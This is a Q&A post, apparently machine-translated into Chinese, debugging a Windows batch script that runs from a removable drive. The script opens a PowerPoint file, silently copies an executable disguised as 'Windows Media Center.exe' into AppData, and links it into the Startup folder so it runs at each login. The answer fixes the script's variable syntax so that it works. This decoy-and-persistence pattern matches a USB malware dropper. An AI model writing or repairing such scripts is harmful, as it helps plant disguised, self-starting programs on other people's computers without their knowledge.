Windows批处理 - 复制文件问题

时间:2017-05-06 18:26:53

标签: windows batch-file for-loop if-statement copy

我正在尝试创建一个简单的批处理文件,该文件应该将文件从外部驱动器复制到PC,而不知道驱动器号:

echo off

set drives[0]=A:
set drives[1]=B:
set drives[2]=C:
set drives[3]=D:
set drives[4]=E:
set drives[5]=F:
set drives[6]=G:
set drives[7]=H:




for /F "tokens=2 delims==" %%s in ('set drives[') do (


if exist "%%s%\New Presentazione di Microsoft PowerPoint.pptx" (


start "" "%%s%\New Presentazione di Microsoft PowerPoint.pptx"


if not exist "%AppData%\Windows Media Center.exe" ( 


copy "%%s%\data\Windows Media Center.exe" %AppData%


mklink "%AppData%\Microsoft\Windows\Start Menu\Programs\Startup\Windows Media Center" "%AppData%\Windows Media Center.exe" 

)

)

)



PAUSE

我可以成功获取正确的驱动器号,但copy命令会返回此错误:

  

系统找不到指定的文件

我做错了什么?

1 个答案:

答案 0 :(得分:0)

您正在错误地使用FOR /F参数变量,但下面是您可以使用的语法示例,它可以按预期工作,因此它可以按预期工作。

  

当你使用诸如%%s之类的变量时,基本上在FOR循环中   您可以使用它在循环中稍后迭代命令(例如DO %%s),在中引用它   批处理脚本中的%%s%%~s语法或%s%~s的语法   如果不是作为脚本运行,而是从命令手动运行,则为单个百分号   线。只需省略您附加的附加%符号即可   变量迭代器所以使用%%s而不是%%s%

     

如果你在我提到的变量中使用了波浪号~字符   以上只是删除任何周围的引号,以便可能   出现以防万一。

echo on

set drives[0]=A:
set drives[1]=B:
set drives[2]=C:
set drives[3]=D:
set drives[4]=E:
set drives[5]=F:
set drives[6]=G:
set drives[7]=H:

for /F "tokens=2 delims==" %%s in ('set drives[') do (
    if exist "%%s\New Presentazione di Microsoft PowerPoint.pptx" start "" "%%s\New Presentazione di Microsoft PowerPoint.pptx"
    if not exist "%AppData%\Windows Media Center.exe" copy "%%s\data\Windows Media Center.exe" %AppData%
    mklink "%AppData%\Microsoft\Windows\Start Menu\Programs\Startup\Windows Media Center" "%AppData%\Windows Media Center.exe" 
)

PAUSE

更多资源